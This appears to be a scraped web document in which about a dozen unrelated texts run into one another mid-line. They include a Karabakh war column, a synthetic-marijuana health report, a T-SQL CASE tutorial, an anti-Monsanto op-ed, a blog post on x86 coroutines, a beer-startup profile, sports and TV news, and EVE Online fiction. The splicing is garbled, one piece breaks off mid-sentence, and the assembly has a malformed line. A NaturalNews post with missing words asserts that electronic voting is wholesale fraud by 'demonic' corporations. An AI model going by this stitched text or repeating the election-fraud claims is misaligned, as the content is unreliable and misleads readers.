I visited Karabakh with several other foreign journalists and a member of the European Parliament on a trip organized by the Armenian government. The 90-minute helicopter flight took us over stunning mountainous terrain to this lush, isolated enclave whose name means “black garden.” During my brief visit, the place seemed a bit like Switzerland in the Caucasus — not just the mountains but also the tidy streets, hillside farms and fiercely independent people.
Lt. Gen. Levon Mnatsakanyan, the defense minister of this self-declared republic, said his forces hadn’t expected the broad attack on April 2. But he said there had been warning signs: Since August, 21 Armenian soldiers had been killed and 113 wounded in attacks along the so-called “line of control.” And Azerbaijan had been restocking its arsenal with new Russian tanks, Israeli drones and Turkish missiles. The Armenian side, reassured by a supposed “strategic alliance” with Russia, didn’t expect a big Azerbaijani offensive.
“Tactically, maybe they have registered some successes,” Mnatsakanyan conceded. “But I would say that considering all the force they used, it’s rather a defeat for them.” He claims the Azerbaijanis had lost 24 tanks in the four-day battle in early April. The two sides have radically different casualty counts, and it’s impossible to independently verify the numbers. But Azerbaijani commentary has treated the campaign as a major victory after the smoldering defeat of the 1992-1994 war.
Mnatsakanyan insisted that Armenian troops could defend the enclave, without Russian help: “The result of the four-day war shows that the equipment we have and our combat readiness is okay for stopping any adversaries.” If the war resumes, he says, “we will not only repel them but advance ourselves.”
Talking to Armenian residents of Karabakh, I came away with a sense of growing militancy here, as in Azerbaijan.
Garen Ohanjanyan, the former peace activist, says this latest war has changed his view about the possibility for reconciliation. After the last war ended, he helped foster dialogue with Azerbaijanis. Now, he says, he has given up on peace and wants Armenian forces to destroy Azerbaijani economic targets. In the past month, he explains, “our nation lost its illusions.”
“Maybe my generation became too relaxed in these past years,” says Ashot Sarkissyan, a 27-year-old who works with a local nongovernmental organization and also serves in an antiaircraft defense unit. “Why didn’t we use this time to become strong enough to deter them from a war?”
Anahit Danielyan, who heads the Stepanakert Press Club, says she used to try to stay in touch online with Azerbaijani journalists. Now, she says, “I’m starting to feel this hatred from my colleagues in Azerbaijan.... This new war has somehow changed our perceptions of each other.”
On the road to the airport, a visitor can see the national monument, a huge stone statue of an old man and woman — heads only, the bodies seemingly buried in the hillside. The official name is “We Are Our Mountains.” The implicit message is: We aren’t moving. What seems ahead is a long, unyielding conflict.
Read more from David Ignatius’s archive, follow him on Twitter or subscribe to his updates on Facebook.The use of synthetic marijuana is on the rise for kids in the US. The “benefits” of the synthetic form are that less drug can produce a stronger high, and it doesn’t show up in most routine lab tests, which makes it doubly attractive to kids. But with increased potency comes increased risk of serious effects. And they may be long-term, based on what we know about the developing brain. Hospitals are seeing more and more cases of synthetic pot intoxication, and poison control centers are receiving escalating numbers of calls about the drug.
Synthetic pot also goes by “K2,” “Spice,” “Aroma,” “Mr. Smiley,” “Zohai,” “Eclipse,” “Black Mamba,” “Red X Dawn,” “Blaze,” and “Dream.” Until fairly recently it was still available at convenience stores and gas stations, and only became a controlled substance in February of this year. Three emergency room doctors at a Washington, DC hospital discuss the cases of three teenagers being brought in to the ER for synthetic marijuana intoxication in a new report in Pediatrics.
One girl, brought in for “altered mental status,” was catatonic: her eyes were open but she didn’t respond to the voices of those around her or to painful pinches. Her heart rate was fast, at 105 beats per minutes, but her breathing was slow, at 18 breaths per minute. Her legs were rigid. After she was treated with lorazepam, an anti-anxiety drug, and diphenhydramine, to treat muscle movement problems, she started to come around, slowly. Her boyfriend said they’d smoked K2.
Another teenager, a boy, was brought to the ER from a party, because he was “agitated,” aggressive, restless, dizzy, and suffered a headache and profuse sweating. He also had a fast heart rate, but slow breathing. He had smoked Spice, but his urine tests came back negative. He was also given lorazepam and diphenhydramine, and later released.
A third teen was brought in to the ER because his face seemed “frozen,” his speech was slurred, and he was confused and hallucinating. He was given lorazepam and eventually returned to normal. He’d also smoked Spice, hours earlier.
The medical community is still scratching their heads over the symptoms and treatment for synthetic marijuana intoxication. But the short-term symptom patterns that are beginning to emerge are not like those of natural marijuana. The adverse effects of the synthetic form are more prevalent, and include aggressiveness, paranoia, anxiety, agitation, high blood pressure, heavy sweating, heart palpitations, irritability, muscle rigidity, and convulsions.
Joanna Cohen, the ER doctor at Children’s National Medical Center who co-authored the new report, says that among the larger concerns for teen users are “long term cognition problems, memory loss, and psychosis.”
Synthetic marijuana can be particularly destructive to teenage brains because they are still undergoing massive growth. Exposing them to a toxin can disrupt the normal development and burgeoning connections of the adolescent brain. “Given the sensitivity of the developing brain and association between early cannabis use and psychosis, adolescent use of these new synthetic cannabinoids is particularly concerning,” the authors write.
Cohen said she’d recently heard of a young person who had a stroke – certainly an odd occurrence for a teen – and the only out-of-the-ordinary factor the doctors found was that she’d used synthetic pot. Other reports have linked heart attacks in teens to smoking synthetic marijuana.
Synthetic pot uses a botanical blend as its base: “bay bean, blue lotus, lion’s tail, lousewort, Indian warrior, dwarf skullcap, maconhabrava, pink lotus, marshmallow, red clover, rose, Siberian Motherwort, vanilla, and honey.” These plant ingredients aren’t bad in and of themselves. The problem comes in when the botanicals are sprayed with an active compound like JWH-018, which is what makes the synthetic drug toxic. The name JWH-018 comes from the scientist John W. Huffman, who synthesized versions of TCH to study its effects in the lab.
One of the reasons that synthetic pot can produce a greater effect is that its ability to bond the brain’s cannabis receptor (CB1) is five times greater than what THC is capable of. This means a bigger bang for the buck – and greater risk of serious, long-lasting neurological problems.
Cohen urges health care providers, teachers, and parents to “recognize the side effects of drugs. This is so important because the damaging effects are serious – and they are long term.”How to use the CASE expression for report formatting? Execute the following T-SQL example scripts in SQL Server Management Studio Query Editor to demonstrate the application of the CASE function for translating codes and formatting numbers.
-- CASE function usage in SELECT list for formatting & translation SELECT ProductID, ProductName = Name, Price = CASE -- currency format WHEN ListPrice > 0 THEN '$' + CONVERT(VARCHAR(16),ListPrice,1) ELSE '' END, ProductCategory = CASE ProductLine WHEN 'R' THEN 'Road Bikes' WHEN 'M' THEN 'Mountain Bikes' WHEN 'T' THEN 'Touring Bikes' WHEN 'S' THEN 'Accessories' ELSE 'Part only' END FROM AdventureWorks2008.Production.Product ORDER BY ProductCategory, ProductName; /* ProductID ProductName Price ProductCategory.... 330 Touring End Caps Part only 513 Touring Rim Part only 847 Headlights - Dual-Beam $34.99 Road Bikes 848 Headlights - Weatherproof $44.99 Road Bikes 838 HL Road Frame - Black, 44 $1,431.50 Road Bikes 839 HL Road Frame - Black, 48 $1,431.50 Road Bikes.... */ ------------ -- SQL Server case function - when...then... -- Using case to translate codes - lookup table replacement USE pubs; SELECT [Book Category] = CASE TYPE WHEN 'popular_comp' THEN 'Popular Computing' WHEN'mod_cook' THEN 'Modern Cooking' WHEN 'business' THEN 'Business' WHEN 'psychology' THEN 'Psychology' WHEN 'trad_cook' THEN 'Traditional Cooking' ELSE 'Waiting for category' END, Title = CAST(title AS VARCHAR(30)), Price = price FROM titles WHERE price IS NOT NULL ORDER BY [Book Category], Price GO /* Results Book Category Title Price Business You Can Combat Computer Stress 2.99 Business Cooking with Computers: Surrep 11.95 Business The Busy Executive's Database 19.99 Business Straight Talk About Computers 19.99 Modern Cooking The Gourmet Microwave 2.99 Modern Cooking Silicon Valley Gastronomic Tre 19.99 Popular Computing Secrets of Silicon Valley 20.00 Popular Computing But Is It User Friendly? 22.95 Psychology Life Without Fear 7.00 Psychology Emotional Security: A New Algo 7.99 Psychology Is Anger the Enemy? 10.95 Psychology Prolonged Data Deprivation: Fo 19.99 Psychology Computer Phobic AND Non-Phobic 21.59 Traditional Cooking Fifty Years in Buckingham Pala 11.95 Traditional Cooking Sushi, Anyone? 14.99 Traditional Cooking Onions, Leeks, and Garlic: Coo 20.95 */ ------------ Related link: Using the CASE expression instead of dynamic SQL in SQL ServerIn this June 1, 2010 photo, central Illinois corn farmer Jerry McCulley sprays the weed killer glyphosate across his cornfield in Auburn, Ill. A handful of hardy weeds have adapted to survive glyphosate _ sold as Roundup and a variety of other brands _ which many scientists say threatens to make the ubiquitous herbicide far less useful to farmers. (AP Photo/Seth Perlman)
Perhaps no group of science deniers has been more ridiculed than those who deny the science of evolution. What you may not know is that Monsanto and our United States Department of Agriculture (USDA) are among them. That's right: for decades, Monsanto and its enablers inside the USDA have denied the central tenets of evolutionary biology, namely natural selection and adaptation. And this denial of basic science by the company and our government threatens the future viability of American agriculture.
Third Grade Science
Let's start with interrelated concepts of natural selection and adaptation. This is elementary school science. In fact, in Washington D.C. it is part of the basic third grade science curriculum.
As we all remember from biology class, when an environment changes, trait variation in a species could allow some in that species to adapt to that new environment and survive. Others will die out. The survivors are then able to reproduce and even thrive under the new environmental conditions. For example, if a drought were to occur, some plants might have traits that allow them to survive while other plants in the same species would perish. The drought-resistant plants then become the "evolved" species, and they are able to reproduce in the drought environment.
Obvious, you are thinking. But let's explore how Monsanto's top scientists and government regulators would have failed a third grade science class in D.C. and the dire consequences that it is bringing to us all.
Biotech's Dirty Little Secret
First a little background. Since the early 1980s, Monsanto has endlessly hyped genetically engineered (GE) crops they claim could reduce hunger, reduce pesticide use, and survive droughts. In reality, no such "miracle" crops exist. No significantly greater yielding crops, no more effective drought resistance crops. And as for the claim of less pesticide use, behind this myth lies the "dirty little secret" of agricultural biotechnology. Namely, that GE crops actually add hundreds of millions of pounds of pesticides to our fields and crops, and create greater agrochemical residues on our food. Why? Because around 85 percent of all genetically engineered crops in the United States and around the world have been engineered to withstand massive doses of herbicides, mostly Monsanto's Roundup. Usually, if toxic weed-killing chemicals such as Roundup come into contact with a crop they will destroy it as well as the weeds around it. But Monsanto scientists genetically engineered a cassette of bacterial and viral DNA into plants that allowed them to tolerate these herbicides. So the weeds are killed, but the crops remain.
In the United States, more than 50 percent of all our cropland is devoted to GE corn, soy and cotton. They are commodity crops that feed cars, animals in industrial meat production and are used for additives like high fructose corn syrup. Almost none directly feeds people. So rather than feeding the hungry, this technology is about chemical companies selling more chemicals, a lot more chemicals. So as noted, each year 115 million more pounds of Roundup are spread on our farmlands because of these altered crops.
Profits versus Science: Science loses
If half of our nation's cropland is doused year after year with a particular herbicide, that is a significant change in the environment. The accompanying problem of adaptation and selection has probably already occurred to you. Wouldn't that massive increase in Roundup use over that huge a portion of our cropland cause some weed populations to develop resistance? Wouldn't weeds with natural resistance thrive in this new environment? Wouldn't these new "superweeds" eventually become a major problem for U.S. farmers, overrunning their crops?
As government regulators were considering whether to approve these plants in the mid-1990s, they asked Monsanto just that question. No doubt considering the billions they were going to make selling more Roundup, this is a moment when Monsanto's scientists seemed to find it convenient to their bottom line to deny basic evolutionary science. They stated, "Evolution of weed resistance to glyphosate (Roundup's active ingredient) appears to be an unlikely event." They also suggested that massive use of Roundup would lead to "no resistant weeds." Independent scientists were aghast. They mocked Monsanto's view that Roundup was somehow "invincible" from the laws of natural selection, and pointed out that the company's scientists purposely ignored numerous studies that showed there would be weed resistance. But incredibly, despite the strong contrary evidence, the USDA regulators just nodded in science denying agreement with Monsanto.
Of course, adaptation and natural selection did take place. As a result, in less than 20 years, more than half of all U.S. farms have some Roundup resistant "superweeds," weeds that now infest 70 million acres of U.S farmland, an area the size of Wyoming. Each year we see major expansion of this "superweed" acreage. Texas has gone so far as to declare a state of emergency for cotton farmers. Superweeds are already causing major economic problems for farmers with a current estimate of $1 billion lost in damages to crops so far.
Last year in a panel discussion with Robert Fraley, Chief Technology Officer for Monsanto and a founder of these herbicide tolerant crops, I confronted him. How could he and the other Monsanto scientists have claimed that natural selection would not take place? How could they ignore basic evolutionary science and clear contrary evidence? He just shook his head and said "You're right, weeds have evolved resistance." But apparently, Monsanto and their government regulators still haven't learned this third grade science lesson. They're denying science once again, and the stakes are even higher.
"Agent Orange Crops" and More Science Denial
Now Monsanto and Dow Chemical have received government approval to market new genetically engineered corn, soy and cotton, that are "stacked" with engineered DNA that make them resistant to Roundup as well as 2,4-D (one of the chief elements of "Agent Orange"). Monsanto has also gained approval from the USDA for the same three crops that can tolerate Dicamba. 2,4-D and Dicamba are older, more toxic herbicides than Roundup, and these companies are reverting to them because they have brought us to the point of peak herbicides. They simply don't have any new ones, similar to the current crisis in antibiotics.
But won't the weeds simply become resistant to these herbicides as well? Not according to the science deniers at Monsanto and Dow Chemical. Despite predictions that their new crops will add hundreds of millions more pounds of these herbicides each year, they say not to worry. They claim -- as they did 20 years ago -- that natural selection will not happen; that it is extremely unlikely for weeds to survive simultaneous attacks from two or more different herbicides with different methods.
Weed scientists have shredded this argument, noting that weeds in the past, through adaption, have done this and will almost certainly do it again. So in a few years we will be overrun with "superweeds" that are virtually indestructible by any known chemical. But by then Monsanto and Dow will have made billions selling their chemicals and can leave the "superweed" agronomic nightmare for others to solve. Nor will they have to deal with the other nightmares that could possibly occur: increased rates of cancer and diseases like Parkinson's associated with exposure to these herbicides.
A Better Way
A science-based, and safer, way forward is to abandon this doomed-to-fail chemical arms race against weeds and use ecologically based weed control. There are proven organic and agroecological approaches that emphasize weed management rather than weed eradication, soil building rather than soil supplementing. Crop rotation and cover crops can return productive yields without ridding the land of genetic biodiversity, and could reduce herbicide use by 90 percent.
So it's long past due that our government required real and rigorous science when regulating GE crops. It's time for them to say "no" to these herbicide-promoting crops, and prevent the looming agronomic disaster they will inevitably bring with them.Coordinates:
The International Clown Hall of Fame and Research Center (ICHOF), located in Baraboo, Wisconsin, United States, is dedicated to the preservation and advancement of clown art and achievement. Represented by professional and amateur clown associations, it pays tribute to outstanding clown performers, operates a museum of clowning with resident clown performers, conducts special events, and maintains a national archive of clown artifacts and history.
History [ edit ]
The ICHOF was founded in Delavan, Wisconsin, the birthplace of the Barnum and Bailey Circus, in 1987. It was created as community development project by Gareth Thomas Betts of the University of Wisconsin–Extension and Jennie Schilz Thompson, director of the Delavan Chamber of Commerce to build on the city's circus history. The induction process began in 1988, and was headed by Richard Snowberg, the founder and director of Clown Camp during his tenure as a professor at University of Wisconsin-La Crosse. The first event followed the affiliation of the four major clown organizations with the museum. The affiliated clown organizations were given the role of selecting the first nominees. Balloting by the members of the ICHOF resulted in the election of Red Skelton, Lou Jacobs, Emmett Kelly, Mark Anthony, Felix Adler, and Otto Griebling. The first inductees were enshrined April 23, 1989.[1]
Since then, 61 additional clowns have been inducted into the International Clown Hall of Fame. The ensemble has included living and historical American clowns and clowns from Europe, South America, and Africa. The ICHOF also annually bestows a "Lifetime of Laughter Achievement Award". This has gone to Willard Scott, who at one time played both Ronald McDonald and Bozo on TV before becoming known as The Today Show weather man, Max Patkin – the "Clown Prince of Baseball", Ben Barkin of the Great Circus Parade and Meadowlark Lemon – the "Clown Prince of Basketball."
In 2004, ABC News columnist Buck Wolf settled a long-running clown controversy by inducting Pinto Colvig as the original Bozo. A series of investigative pieces he wrote proved that show business promoter Larry Harmon had a pattern of taking credit for inventing TV's most famous clown.
See also [ edit ]
References [ edit ]The ongoing saga of a programmer who doesn't live in Boston, nor does he even like Boston, but yet named his weblog/journal “The Boston Diaries.”
I use coroutines in Lua and I do miss having them in C. Sure, there are a number of coroutine implementations for C, but they all generally fall into two camps:
they rely upon setjmp()/longjmp(), which is problematic because it is seriously abusing those two functions (which exist to give C a form of exception) and they rely upon ucontext.h, which has been deprecated by POSIX (and the API is a bit clunky for what I want to do)
But really, I just wanted to write my own implementation, because.
So the idea is to write some code that works like:
extern int coroutine_create(coroutine__s **pcp,coroutine_function__f fun); extern uintptr_t coroutine_yield (coroutine__s *co,uintptr_t value); extern int coroutine_free (coroutine__s *co); uintptr_t sub_task(coroutine__s *self,uintptr_t value) /* [1] */ { value = coroutine_yield(self,value); /* [2] */ /* [3] */ value = coroutine_yield(self,value); /* [4] */ /* [5] */ value = coroutine_yield(self,value); /* [6] */ /* [7] */ return value; } void main_task(void) { coroutine__s *co; uintptr_t v; coroutine_create(&co,sub_task); /* [8] magic here! */ /* [ 9] */ v = coroutine_yield(co,v); /* [10] */ /* [11] */ v = coroutine_yield(co,v); /* [12] */ /* [13] */ v = coroutine_yield(co,v); /* [14] */ /* [15] */ v = coroutine_yield(co,v); /* [16] */ /* [17] */ v = coroutine_yield(co,v); /* [18] */ /* [19] */ coroutine_free(co); }
It's a contrived example that one would not use coroutines for, but it does serve to illustrate the issue that popped up while developing the code for this. And I"m going to start coroutine_yield(), as that does the actual switching of the stack to another “unit of execution” (note: this code is for the Intel 32-bit x86 architecture):
%assign P_param 8 + 16 %assign P_co 4 + 16 coroutine_yield32: push ebp ; save callee saved registers push ebx push esi push edi mov eax,[esp + P_param] ; return parameter mov edx,[esp + P_co] ; get stack to yield to xchg esp,[edx] ; YIELD! pop edi ; retore registers pop esi pop ebx pop ebp ret
Since this is interfacing with C, I have to use the x86 32-bit calling convention (and for the record, I'm using the Intel syntax, not the AT&T syntax). Parameters are passed on the stack, and the callee (in this case, coroutine_yield32() ) needs to save certain registers.
Normally, when switching a “unit of execution” such as a thread or process, one needs to save the entire CPU state. But I can cheat here—I'm calling a function, so I can skip saving registers the callee can use (read: trash), which saves a bit of time in the switching. So that's what's going on here. I have the registers that the C calling convention require saving, putting P_param into EAX to return it, get the pointer to the stack we're switching to and at the line that states “YIELD!” we switch the “units of execution.” The final five instructions are running under the coroutine, where we pull the registers saved and return into our now running coroutine.
But now here's the problem—this assumes the stack for the coroutine is properly initialized. Refering back to the C code, line 12 will yield back to line 3 and it works there because everything has been set up. But line 10 is problematic—that's the first switching of execution, and we haven't actually started sub_task(), which is expecting arguments already existing on the stack. Furthermore, for the C calling convention to work, we need to actually call sub_task(). I really don't want to mess up coroutine_yield() with special code to handle that case (that's just … ugly). I want to handle this cleanly.
So the first coroutine_yield() needs to call into (as per our example) sub_task(). The code for that looks like:
push eax ; return from coroutine_yield push <coroutine self parameter> call <our function>
Setting aside where we'll get the coroutine self paramter and the address for the function, we just need to ensure that our first call to coroutine_yield() resumes to this code fragment. And we can do that in the coroutine_create() —initialize the stack of the coroutine properly such that that happens. So let's name our fragment:
start_it_up: push eax ; return from coroutine_yield push <coroutine self parameter> call <our function>
and we can initialize the coroutine stack:
mov dword [ecx + 16],start_it_up xor eax,eax mov [ecx + 8],eax ; "saved" EBX mov [ecx + 4],eax ; "saved" ESI mov [ecx + 0],eax ; "saved" EDI mov [edx],ecx
For now, just accept that we have the new coroutine stack pointer in ECX (the final version uses ECX but I don't want to spoil things too much at this point). This populates the stack with the values needed for coroutine_yield() to fall into our code fragment, which is techincally a thunk. Now we turn our attention to saving the data required for our new thunk to call our function.
Now, on the 32-bit x86, a classical stack frame will look something like this:
Typical stack frame offset from EBP contents 12 parameter 2 8 parameter 1 4 return address 0 previous stack frame address (previous EBP) -4 local variable 1 -8 local variable 2
The thunk doesn't need paramaters, nor does it need the return address or even a previous stack frame. We just need some local variables. So set up the stack like:
Coroutine stack contents EBP of coroutine coroutine pointer address of sub_task() address of start_it_up stack frame for start_it_up “saved” EBX “saved” ESI ESP of coroutine “saved” EDI
We can fix start_it_up :
%assign L_co -4 %assign L_fun -8 start_it_up: push eax push dword [ebp + L_co] call [ebp + L_fun]
And with our C example, this will get us to through line 15. At line 16 we have an issue, where we resume at line 7 and our coroutine now returns. Well, we did call it, so we get its return value back to our thunk. Well, the easy thing here is to just yield it back. And since we have the stack set for a call, we can save some instructions:
%assign L_co -4 %assign L_fun -8 %assign C_param -12 start_it_up: push eax push dword [ebp + L_co] call [ebp + L_fun] mov ebp + C_param],eax call coroutine_yield32
And that will get us to line 18. But now we no longer have a running coroutine and we've run off the bottom of our thunk. There are two options here:
call (or JMP ) to abort() ; just yield the value back.
Both are valid responses, but I like the second one better as you might not know if a coroutine has finished or not. And that just requires one more instruction to start_it_up :
%assign L_co -4 %assign L_fun -8 %assign C_param -12 start_it_up: push eax push dword [ebp + L_co] call [ebp + L_fun] do_it_again: mov ebp + C_param],eax call coroutine_yield32 jmp do_it_again
And there you go—coroutines for C.
The 64-bit version is pretty much the same—just that the registers needed to be saves are different, and the parameters are passed in registers instead of the stack, but overall, it's the same approach.
Should this code be used in production? I don't know. It works for Linux (both 32 and 64 bit versions) and for Mac OS-X (64 bit version). And while you can use setjmp()/longjmp(), you CANNOT do so across coroutine stacks (within the same coroutine—fine). And this has only been tested for C, NOT for C++. I don't know enough about C++ (or its calling conventions or exception handling) to recommend this for that.
But really that's all there is to it for coroutines in C.
And the final question—what are coroutines good for? That's for another post.UPDATED: Comedy Central today unveiled its first major makeover in a decade. Matt Mitovich, Editor-At-Large for MMC’s upcoming TV-centric Web site, was at the event in New York and filed this report:
Comedy Central on Thursday shared with the press a new logo – or “mark” – that will launch on-air in January. Gone is the urban art-flavored skyline, and in is a pair of nested letter Cs accompanied by the name Comedy Central, with “Central” ostensibly spelled upside-down. (The network assured the press, though, that it needn’t be typed that way. Even if it could be.) But more to the point, it raises the question: Is the copyright logo copyrighted?
Bob Salazar, the cabler’s SVP of brand creative, explained that since the Comedy Central brand “has never been so robust and so relevant in the comedy zeitgeist” – thanks in large part to the fall follies of Jon Stewart and Stephen Colbert – “it was the perfect time” to “refresh” the network’s logo for the first time in a decade. Considering the multiple ways people now consume content, including online and via devices such as the iPad, Comedy Central wanted “an image that is in tune with that.” In a digital landscape populated by Facebook’s blue F and Twitter’s T, “It’s a mark that stands out in that environment,” says Salazar.
The new logo launches a big year for the network, one that will feature a months-long celebration of South Park‘s 15th anniversary, a celebrity roast that a network rep teases will be as good as (if not more outrageous than) David Hasselhoff’s, the Jan. 11 premiere of Onion SportsDome, and the April premiere of The Comedy Awards (fka The American Comedy Awards)
Here is Comedy Central’s video promoting the new look.New Delhi: Brewing beer wasn’t the original calling of Ankur Jain, whose first venture as an entrepreneur was a healthcare information start-up he founded in 2002.
When the venture was being incubated in New York, he frequented Brooklyn Brewery, run by a former Associated Press correspondent who opened the outlet after he had had enough of covering the West-Asia conflict.
Those visits made a big impression on Jain, 34, who had put in a brief stint at Motorola after graduating with a Bachelor’s degree in computer engineering from the Illinois Institute of Technology, Chicago, in 2002.
“From the very beginning, I understood that I couldn’t work for others. I set up my first venture in 2002. By 2007, we reached the inflexion point, and I decided to sell that company," he said in an interview.
In the same year, he decided to return to India, having made up his mind that his entrepreneurial future lay in brewing beer. In 2008, he founded Cerana Beverages Pvt. Ltd, which started as an importer of exotic brews, and in May last year soft-launched Bira 91.
Formally introduced in February, Bira 91 (the number stands for India’s country code) has already become a household brand among beer lovers in the capital and in Bengaluru.
Bira 91 White (a low-bitterness wheat beer, as the company website describes it) and Bira 91 Blonde (an extra hoppy craft lager) are available in draft and bottle formats at 150 retail stores in Delhi and almost 70 retail outlets in Bengaluru.
“There was no marketing, no campaign. We made it available in a few pubs such as Beer Café, Monkey Bar, Raasta, Pint Room and Barsoom. People tasted it, liked it and it has gone viral," said Jain.
The beer sells 10,000 cases a month in Delhi alone. the response to Bira 91 has encouraged Jain to sell the beer in eight other cities in the next 12 months. In July, Cerana will be taking the flagship brew to Mumbai, Pune and Kolkata, Jain said.
“Bira has evoked a phenomenal response. The feedback has been excellent from people," said The Beer Café founder and chief executive Rahul Singh.
Hard work went into the success. Jain spent the first couple of years after returning to India on understanding the beer market, including undertaking a three-month road trip across Europe to identify beer brands that suit the Indian palate.
The trip included countless pub crawls and visits to breweries and even expensive restaurants that served exotic beers.
“Initially there was this guilt of spending money that I had earned selling my first baby (a healthcare start-up). But then it was work, not luxury for me," Jain said.
When he returned home and set up Cerana Beverages, the company started by importing beers that only connoisseurs were familiar with.
Even now, Cerana imports about 20 brands, including several Belgian beers.
“I had to understand the market more before I could jump in with my own brand," he said.
By 2013, Jain was ready to launch his own brand.
He reached out to his friends from college and collected
$1 million from half a dozen of them. A brewmaster from Belgium was hired as a consultant.
“The aim was to fill the gap in the market for a trendy, unorthodox, fun and smart brand of beer that could be positioned between Indian brands and the expensive imported beers. The focus was on taste and experience in a market that is dominated by strong beers," says Jain.
The logo of Bira 91 is a reverse B, which Jain says shows “a spirit of rebellion against the conventional".
Bira 91 was “imagined in India" and made in Belgium with French and Belgian malts, hops from Himachal Pradesh, and water from a source near the contract bottling facility in Delhi.
It is a mild variety of beer, much milder (with |
, 25, once a close friend of Tsarnaev; Erik H. Weissman, 31; and Raphael M. Teken, 37, were found in Mess’s apartment with their throats slit and their bodies sprinkled with marijuana.
Lawyers for Todashev’s estate wrote in the civil complaint that he had voluntarily spoken with investigators on multiple occasions before his death.
“The agents used intimidation, deceit, and other improper means against Todashev, his friends, and family — including interference with the immigration status of Todashev’s friends and family — to coerce Todashev into falsely confessing to crimes he did not commit,” the complaint said.
According to the lawsuit, Todashev condemned the Boston Marathon bombings during one conversation with investigators, calling the attack “horrible and unnecessary.”
Travis Andersen can be reached at travis.andersen@globe.comJurgen Klopp has Liverpool reviving interest in Real Madrid whizkid Martin Odegaard.
Agents for Real and Odegaard have been touting the player's availability for next season after Castilla's failed Segunda B promotion playoffs campaign.
Odegaard's camp refuse to tolerate a third season in Segunda B and are actively seeking a move for the Norwegian teen.
Tribalfootball.com has been informed Liverpool, via intermediaries, have asked about Odegaard's situation and to be kept informed of his plans.
Klopp has attempted to sign Odegaard in the past, having the youngster train at Borussia Dortmund as he considered his options as a Stromsgodset player.
"Jurgen Klopp even spoke with me," revealed Odegaard at the time. "He introduced me to the club, told me what Dortmund think about me and the sporting opportunity they can offer me."
The youngster also stated: “Liverpool have always been my dream club. But I will not let this affect my decision when I choose a new club."
Liverpool are already in contact with Real about Mateo Kovacic, as has been revealed by Tribalfootball.com's Emanuele Giulianelli this week. And a conversation regarding their plans for Odegaard has also been held.
It's been suggested a decision could be made before Real re-assemble for the start of preseason training.Electronic voting is a total fraud
How you can help prevent Proposition 37 vote fraud
A grassroots victory is within reach
(NaturalNews) I'm hearing grumblings through the grapevine that an effort may be underway toagainst Proposition 37. So far, these are just rumors, but knowing how these evil corporations trying to defeat the ballot measure really operate, there is NOTHING they won't do to protect their dirty little (agricultural) secrets. Including stealing the election.Stealing elections is only really possible in close elections, but that's exactly where Proposition 37 is right now. It's just barely ahead in the polls: 44% to 42%, with the remainder undecided or neutral. This means Prop 37 is well within the "stealing" range.How do you steal an election? Use, of course. And then hack the crap out of them until the numbers come out the way you want. That's how most clinical trials are conducted, of course, so fudging the numbers is nothing new to the kind of evil corporations that dominate the GMO hellscape.Electronic voting machines are being rolled out all across California right now. These machines, as we've seen in past elections, arethat allow your vote to be altered at will by whoever owns or influences the voting machine engineers., so your electronic vote goes into a vast black hole where it is easily and invisibly altered.The entire purpose of using electronic voting machines is, of course, to eliminate accurate vote tracking of any kind, thereby allowing elections to be manipulated at will. And if you think evil globalist corporations wouldn't stoop to this kind of behavior, think again: The "No on 37" campaign has already been caughtand mailing them out to California voters.Truthfully, knowing what really goes on behind the scenes, I wouldn't put it past these people to engage in vote fraud, death threats, extortion, bribery orto defeat Proposition 37. This is the way they routinely conduct business, folks. We are talking about the most evil cabal of demonic, destructive corporations on the planet. Absolutely nothing is out of bounds for them. Think Al Capone... criminal mafia... death threats and professional hackers. That only scratches the surface!After all, the very products they sell -- GMOs, pesticides, Agent Orange -- are nothing short of. Stealing an election doesn't even rank at any level worth noting in their dark, smoky rooms where global domination schemes are hatched and plotted through the use of every evil tactic that has ever been invented.Stealing elections is only possible when the vote results are close, so the best way to ensure evil forces don't steal the outcome on Proposition 37 is to help usat the polls.This means spreading the word on GMOs and Proposition 37. Visit the YES on 37 website, watch the videos, donate funds and share knowledge with your family and friends. Check out the new music video We Have the Right to Know about GMO, featuring top celebrities and health experts, all commenting on GMOs and singing the song, too. (I contributed background vocals to this song, in case you were curious.)If you know someone who is into healthy living, honest food and grassroots activism, make sure they get to the polls in California and vote! And make sure they vote YES on 37!In fact, I personally think the way Californians vote on Prop 37 is far more important than the way they vote for President. Because both Romney and Obama are pro-GMO sellouts who are in bed with big business. Only the People are truly anti-GMO, and that's why this ballot measure is such an important expression of people power!Your vote on Proposition 37 is more important than ever! With the biotech criminals running a steady stream of LIES on television, all funded by Monsanto, Dow, Bayer, DuPont and all the other usual suspects, they are managing to trick or confuse a large number of California voters who know nothing about food labeling or GMOs. We've got to fight back with sheer numbers!Together, we can win this vote for food freedom and honest food. It's the home stretch, folks, and every bit of your effort, donations, activism and good will is needed right now. We are facing off against a terrible, destructive monster, and we are in a position where we can sever its head on November 6th and put an end to its rampage of death and destruction. We must take every opportunity available to achieve victory right now, because another such opportunity may not come along for years.Spread the word: Vote YES on 37 if you live in California. Defeat GMOs now, at the ballot box, and help overwhelm any attempt by malicious forces to steal the election results via black box voting.Last week, in a top secret operation, Foxholer combat pilots complemented by the Villore Accords, Rapid Withdrawal, BEBOP, several SNUFF representatives, and other Gallente Militia forces neutralized an on-lining Fortizar-class citadel in J105858. This carefully coordinated operation was launched after Foxholer reconnaissance pilot Tommy Arrano detected the structure, still under construction, and discovered a sinister plot to crew the vast station with a large quantity of slave labor.
Scrupulous capsuleers, in their attempt to plunder the riches of Anoikis, have anchored hundreds of Upwell-type structures throughout the regions of wormhole space. Crewing these isolated outposts is an entirely more challenging matter than simply activating the automated construction sequence, however. Being cut off from normal stargate travel, it is nearly impossible to find willing crewmembers for these personnel-intensive structures. Indeed, if any of the crew of a standard citadel were to attempt to leave, they would have to wander their way through uncharted wormholes, and may never find their way home.
As a result, with standard recruitment tactics and bonus packages taking too much effort, several capsuleer corporations and alliances in Anoikis have taken more brutal actions, forcibly staffing these stations with populations stripped from planets in null security space. With no hope for a better future, these unfortunate souls are condemned to months and years of pointless drudgery, repairing their master’s ships, trapped far from home under the threat of Sleeper or Drifter attack.
From the Abyss alliance apparently anchored this structure with this new, savage business plan in mind, and used a nullsec planet in their Tenal holdings to facilitate their scheme. RLTG-3 III, a temperate world colonized by those that could not live within the tight strictures of Caldari State law, was a ripe target for labor. The Fortizar was to be their future home for the rest of their miserable, short lives.
